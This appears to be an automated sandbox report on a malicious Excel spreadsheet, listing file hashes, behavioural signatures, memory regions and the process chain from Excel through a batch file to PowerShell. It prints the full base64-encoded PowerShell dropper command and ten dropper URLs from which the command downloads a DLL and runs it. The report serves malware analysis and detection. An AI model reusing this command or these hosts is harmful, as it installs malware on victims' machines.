Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:13

General

  • Target

    8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls

  • Size

    142KB

  • MD5

    d59046687deee1a8dc90e674f2db7388

  • SHA1

    675e0207e4d5973f5d67fd712b81c8299ca7f30e

  • SHA256

    8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089

  • SHA512

    14c0db04c72a51cf157159f156626f3ba40f0f63073a8a4292fb4d2e7f5d096343c52a93e07c3952f14f101972ca2b3775489bd1d103eb9424b2e03566459b0c

  • SSDEEP

    3072:F7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TI4Gx8:hcKoSsxzNDZLDZjlbR868O8K0c03D38J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://rkeeperua.com/include/FXBsVAOd1U/

exe.dropper

http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/

exe.dropper

http://queens.renovatiog.ltd/wp-includes/LDH/

exe.dropper

http://renovatiomarketing.com/renovatiomarketing.com/A/

exe.dropper

http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/

exe.dropper

http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/

exe.dropper

http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/

exe.dropper

http://dandtpremierhomes.com/eapn/lpN6dcAppn/

exe.dropper

http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/

exe.dropper

http://crisbdev.com/wp-content/2dmXYgLVdkV/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\programdata\rtyusdj.bat" "
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\rtyusdj.bat

    Filesize

    3KB

    MD5

    cfaeca812fe57984781eb36f185e6f35

    SHA1

    58c44284034e1681dca944d989b5d8ffeca6db93

    SHA256

    b52dcbf00c8e24376222b881555b4f1238820d3fdcb993df29b83b111f192c6b

    SHA512

    d69ecb57c5e3a30cffb091c4944ba96871c5dc7958d6bbbed98f05031c6e09a61449aa9babfb7a05382404f988b6ef33d3f64308ac271e04558b1486a7f62c7b

  • memory/2004-28-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-47-0x0000000072C3D000-0x0000000072C48000-memory.dmp

    Filesize

    44KB

  • memory/2004-9-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-1-0x0000000072C3D000-0x0000000072C48000-memory.dmp

    Filesize

    44KB

  • memory/2004-7-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-6-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-5-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-4-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-3-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-11-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-36-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-34-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-33-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-32-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-31-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-30-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-29-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2004-8-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-10-0x0000000006120000-0x0000000006220000-memory.dmp

    Filesize

    1024KB

  • memory/2004-25-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-26-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-24-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-23-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-22-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-21-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-20-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-19-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-18-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-17-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-16-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-15-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-14-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-13-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-12-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-27-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB

  • memory/2004-48-0x0000000000790000-0x0000000000890000-memory.dmp

    Filesize

    1024KB